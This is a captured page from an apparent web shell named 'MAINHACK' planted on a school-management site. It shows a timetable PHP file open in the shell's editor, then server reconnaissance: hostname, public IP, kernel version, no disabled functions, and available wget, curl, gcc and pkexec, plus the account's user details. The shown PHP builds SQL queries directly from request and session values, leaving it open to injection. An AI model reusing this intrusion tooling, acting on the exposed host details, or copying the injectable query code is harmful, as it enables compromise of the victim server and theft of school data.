[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: schooltimetable.php
<?php include("../functions.php"); //error_reporting(0); if(!isset($_SESSION['dbmail_Xw211qAAsq4'])){ header("location:../auth-login"); } else { $s_code = $_SESSION['s_code_Xw2119904']; $courses = $new->query("SELECT * FROM class WHERE s_code = '$s_code'")->fetch_all(MYSQLI_ASSOC); $teachers = $new->query("SELECT * FROM schools WHERE school_code = '$s_code' and user_name != 'Admin'")->fetch_all(MYSQLI_ASSOC); $rooms = $new->query("SELECT * FROM room WHERE s_code = '$s_code'")->fetch_all(MYSQLI_ASSOC); if ($_SERVER['REQUEST_METHOD'] === 'POST') { foreach ($_POST['course'] as $day => $slots) { foreach ($slots as $slot => $course_id) { $time_slot = $_POST['time_slot'][$day][$slot]; $room_id = $_POST['room'][$day][$slot]; $teacher_id = $_POST['teacher'][$day][$slot]; $is_free_period = ($course_id === 'free') ? 1 : 0; $is_break_time = ($course_id === 'break') ? 1 : 0; $program = test_input($_POST['program']); $semester = test_input($_POST['semester']); $academic_year = test_input($_POST['academic_year']); // Insert data into the timetable table $course_id = ($is_free_period || $is_break_time) ? null : $course_id; $room_id = ($is_free_period || $is_break_time) ? null : $room_id; $teacher_id = ($is_free_period || $is_break_time) ? null : $teacher_id; $sql = "INSERT INTO timetable1 (day, time_slot, course, room, teacher, s_code, is_free_period, is_break_time, programName, semester,academic_year) VALUES ('$day', '$time_slot', " . ($course_id === null ? "NULL" : "'$course_id'") . ", " . ($room_id === null ? "NULL" : "'$room_id'") . ", " . ($teacher_id === null ? "NULL" : "'$teacher_id'") . ", '$s_code', $is_free_period, $is_break_time, '$program', '$semester',' $academic_year') ON DUPLICATE KEY UPDATE course = VALUES(course), room = VALUES(room), teacher = VALUES(teacher), s_code = VALUES(s_code), is_free_period = VALUES(is_free_period), is_break_time = VALUES(is_break_time), programName = VALUES(programName), semester = VALUES(semester), academic_year = VALUES(academic_year)"; if (!$new->query($sql)) { echo "Error: " . $new->error; } else { echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'Timetable created successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } } } } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>SETUP SCHOOL TIMETABLE </title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- App favicon --> <!-- DataTables --> <link href="assets/libs/datatables.net-bs4/css/dataTables.bootstrap4.min.css" rel="stylesheet" type="text/css" /> <link href="assets/libs/datatables.net-buttons-bs4/css/buttons.bootstrap4.min.css" rel="stylesheet" type="text/css" /> <!-- Responsive datatable examples --> <link href="assets/libs/datatables.net-responsive-bs4/css/responsive.bootstrap4.min.css" rel="stylesheet" type="text/css" /> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> <link href="assets/libs/sweetalert2/sweetalert2.min.css" rel="stylesheet" type="text/css" /> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <style> body { font-family: Arial, sans-serif; } .timetable { width: 100%; border-collapse: collapse; margin: 20px auto; } .timetable, th, td { border: 1px solid #ddd; padding: 8px; text-align: center; } th { background-color: #f2f2f2; } select { width: 100%; padding: 5px; } input[type="submit"] { margin-top: 10px; padding: 10px 20px; background-color: #28a745; color: white; border: none; cursor: pointer; } input[type="submit"]:hover { background-color: #218838; } </style> </head> <body> <!-- <body data-layout="horizontal"> --> <!-- Begin page --> <div id="layout-wrapper"> <?php include("includes/header.php");?> <?php include("includes/sidebar.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <h3>SETUP SCHOOL TIMETABLE </h3> <form method="POST"> <table class="timetable"> <div class="row"> <div class="col-4"> <select class="form-control" name="program" required> <option value="">Select</option> <?php $result = mysqli_query($new,"SELECT * FROM `programme` WHERE s_code= '$s_code'"); while($row = mysqli_fetch_array($result)){ ?> <option value="<?php echo $row['program_name'];?>"><?php echo $row['program_name'];?></option> <?php }?> </select> </div> <div class="col-4"> <select class="form-control" name="semester" required> <option value="">Select</option> <?php $result = mysqli_query($new,"SELECT * FROM `semester` WHERE s_code= '$s_code'"); while($row = mysqli_fetch_array($result)){ ?> <option value="<?php echo $row['semester'];?>"><?php echo $row['semester'];?></option> <?php }?> </select> </div> <div class="col-4"> <select class="form-control" name="academic_year" required> <option value="">Select</option> <option value="2024/2025">2024/2025</option> <option value="2025/2026">2025/2026</option> <option value="2026/2027">2026/2027</option> <option value="2027/2028">2027/2028</option> <option value="2028/2029">2027/2028</option> <option value="2029/2030">2027/2028</option> </select> </div> </div> <tr> <th>D/T</th> <?php $timeSlots = [ "08:00 AM - 09:00 AM", "09:00 AM - 10:00 AM", "10:00 AM - 11:00 AM", "11:00 AM - 12:00 PM", "12:00 PM - 01:00 PM", "01:00 PM - 02:00 PM", "02:00 PM - 03:00 PM", "03:00 PM - 04:00 PM" ]; foreach ($timeSlots as $i => $slot) { echo "<th> <input type='text' name='time_slots[$i]' value='$slot' class='form-control'> </th>"; } ?> </tr> <?php $days = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday"]; $breakTimes = ['12:00 PM - 01:00 PM']; // Define your break time slots foreach ($days as $day) { echo "<tr><td>$day</td>"; foreach ($timeSlots as $slot) { if (in_array($slot, $breakTimes)) { echo "<td class='break-time'>Break Time</td>"; } else { echo "<td> <input type='hidden' name='time_slot[$day][$slot]' value='$slot'> <!-- Hidden time slot input --> <select name='course[$day][$slot]' class='course'> <option value='free'>Free Period</option>"; foreach ($courses as $course) { echo "<option value='{$course['cid']}'>{$course['class_name']}</option>"; } echo "</select> <select name='room[$day][$slot]' class='room'> <option value=''>None</option>"; foreach ($rooms as $room) { echo "<option value='{$room['id']}'>{$room['name']}</option>"; } echo "</select> <select name='teacher[$day][$slot]' class='teacher'> <option value=''>None</option>"; foreach ($teachers as $teacher) { echo "<option value='{$teacher['id']}'>{$teacher['user_name']}</option>"; } echo "</select> </td>"; } } echo "</tr>"; } ?> </table> <input type="submit" value="Save Timetable"> <button type="button" id="reassignButton" style="margin-top: 10px; padding: 10px 20px; background-color: #000; color: white; border: none; cursor: pointer;"> Re-assign Randomly </button> </form> <script> // JavaScript function to reassign random values on button click function getRandomElement(array) { return array[Math.floor(Math.random() * array.length)]; } function reassignRandomly() { const courses = <?php echo json_encode($courses); ?>; const rooms = <?php echo json_encode($rooms); ?>; const teachers = <?php echo json_encode($teachers); ?>; const courseSelects = document.querySelectorAll('.course'); const roomSelects = document.querySelectorAll('.room'); const teacherSelects = document.querySelectorAll('.teacher'); courseSelects.forEach(select => { const randomCourse = getRandomElement(courses); select.value = randomCourse.cid; }); roomSelects.forEach(select => { const randomRoom = getRandomElement(rooms); select.value = randomRoom.id; }); teacherSelects.forEach(select => { const randomTeacher = getRandomElement(teachers); select.value = randomTeacher.id; }); } document.getElementById('reassignButton').addEventListener('click', reassignRandomly); </script> </body> <div> </div> </div> <!-- end col --> </div> <!-- end row --> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/footer.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Right Sidebar --> <div class="right-bar"> <div data-simplebar class="h-100"> <div class="rightbar-title d-flex align-items-center p-3"> <h5 class="m-0 me-2">Theme Customizer</h5> <a href="javascript:void(0);" class="right-bar-toggle ms-auto"> <i class="mdi mdi-close noti-icon"></i> </a> </div> <!-- Settings --> <hr class="m-0" /> <div class="p-4"> <h6 class="mb-3">Layout</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-vertical" value="vertical"> <label class="form-check-label" for="layout-vertical">Vertical</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-horizontal" value="horizontal"> <label class="form-check-label" for="layout-horizontal">Horizontal</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Mode</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-light" value="light"> <label class="form-check-label" for="layout-mode-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-dark" value="dark"> <label class="form-check-label" for="layout-mode-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Width</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-fuild" value="fuild" onchange="document.body.setAttribute('data-layout-size', 'fluid')"> <label class="form-check-label" for="layout-width-fuild">Fluid</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-boxed" value="boxed" onchange="document.body.setAttribute('data-layout-size', 'boxed')"> <label class="form-check-label" for="layout-width-boxed">Boxed</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Position</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-fixed" value="fixed" onchange="document.body.setAttribute('data-layout-scrollable', 'false')"> <label class="form-check-label" for="layout-position-fixed">Fixed</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-scrollable" value="scrollable" onchange="document.body.setAttribute('data-layout-scrollable', 'true')"> <label class="form-check-label" for="layout-position-scrollable">Scrollable</label> </div> <h6 class="mt-4 mb-3 pt-2">Topbar Color</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-light" value="light" onchange="document.body.setAttribute('data-topbar', 'light')"> <label class="form-check-label" for="topbar-color-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-dark" value="dark" onchange="document.body.setAttribute('data-topbar', 'dark')"> <label class="form-check-label" for="topbar-color-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Size</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-default" value="default" onchange="document.body.setAttribute('data-sidebar-size', 'lg')"> <label class="form-check-label" for="sidebar-size-default">Default</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-compact" value="compact" onchange="document.body.setAttribute('data-sidebar-size', 'md')"> <label class="form-check-label" for="sidebar-size-compact">Compact</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-small" value="small" onchange="document.body.setAttribute('data-sidebar-size', 'sm')"> <label class="form-check-label" for="sidebar-size-small">Small (Icon View)</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Color</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-light" value="light" onchange="document.body.setAttribute('data-sidebar', 'light')"> <label class="form-check-label" for="sidebar-color-light">Light</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-dark" value="dark" onchange="document.body.setAttribute('data-sidebar', 'dark')"> <label class="form-check-label" for="sidebar-color-dark">Dark</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-brand" value="brand" onchange="document.body.setAttribute('data-sidebar', 'brand')"> <label class="form-check-label" for="sidebar-color-brand">Brand</label> </div> <h6 class="mt-4 mb-3 pt-2">Direction</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-direction" id="layout-direction-ltr" value="ltr"> <label class="form-check-label" for="layout-direction-ltr">LTR</label> </div> </div> </div> <!-- end slimscroll-menu--> </div> <!-- /Right-bar --> <!-- Right bar overlay--> <div class="rightbar-overlay"></div> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <!-- Required datatable js --> <script src="assets/libs/datatables.net/js/jquery.dataTables.min.js"></script> <script src="assets/libs/datatables.net-bs4/js/dataTables.bootstrap4.min.js"></script> <!-- Buttons examples --> <script src="assets/libs/datatables.net-buttons/js/dataTables.buttons.min.js"></script> <script src="assets/libs/datatables.net-buttons-bs4/js/buttons.bootstrap4.min.js"></script> <script src="assets/libs/jszip/jszip.min.js"></script> <script src="assets/libs/pdfmake/build/pdfmake.min.js"></script> <script src="assets/libs/pdfmake/build/vfs_fonts.js"></script> <script src="assets/libs/datatables.net-buttons/js/buttons.html5.min.js"></script> <script src="assets/libs/datatables.net-buttons/js/buttons.print.min.js"></script> <script src="assets/libs/datatables.net-buttons/js/buttons.colVis.min.js"></script> <!-- Responsive examples --> <script src="assets/libs/datatables.net-responsive/js/dataTables.responsive.min.js"></script> <script src="assets/libs/datatables.net-responsive-bs4/js/responsive.bootstrap4.min.js"></script> <script src="assets/libs/sweetalert2/sweetalert2.min.js"></script> <!-- Datatable init js --> <script src="assets/js/pages/datatables.init.js"></script> <script src="assets/js/app.js"></script> <script src="assets/js/pages/validation.init.js"></script> <script src="assets/js/pages/modal.init.js"></script> <script> var myModal = document.getElementById('myModal') var myInput = document.getElementById('myInput') myModal.addEventListener('shown.bs.modal', function () { myInput.focus() }) </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002